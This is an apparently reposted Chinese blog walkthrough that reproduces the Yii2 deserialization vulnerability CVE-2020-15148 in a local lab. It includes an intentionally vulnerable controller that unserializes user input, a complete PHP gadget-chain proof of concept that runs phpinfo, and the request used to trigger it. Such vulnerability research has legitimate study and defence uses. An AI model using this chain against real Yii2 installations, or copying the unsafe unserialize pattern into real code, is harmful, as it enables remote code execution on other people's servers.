Yii2 反序列化漏洞(CVE-2020-15148)复现

Yii2 反序列化漏洞(CVE-2020-15148)复现

漏洞概述

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

到github上下载yii2的2.0.37版本

下载地址

然后修改/config/web.php文件17行cookieValidationKey,可以随便定义 

进入目录并开启

php yii server

 访问http://locallhost:8080

 

漏洞复现

这是一个反序列化利用链,所以还需要一个反序列化的入口点

在controllers目录下创建一个Controller:

<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
 
class TestController extends \yii\web\Controller
{
    public function actionSss($data){
        return unserialize(base64_decode($data));
    }
}
 
?>

接着创建文件poc.php

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

执行文件获取poc

php poc.php

 

执行命令

http://localhost:8080/index.php?r=test/sss&data=[payload] 

修复建议

Github修复地址:

地址 

猜你喜欢

转载自blog.csdn.net/qq_48985780/article/details/121304175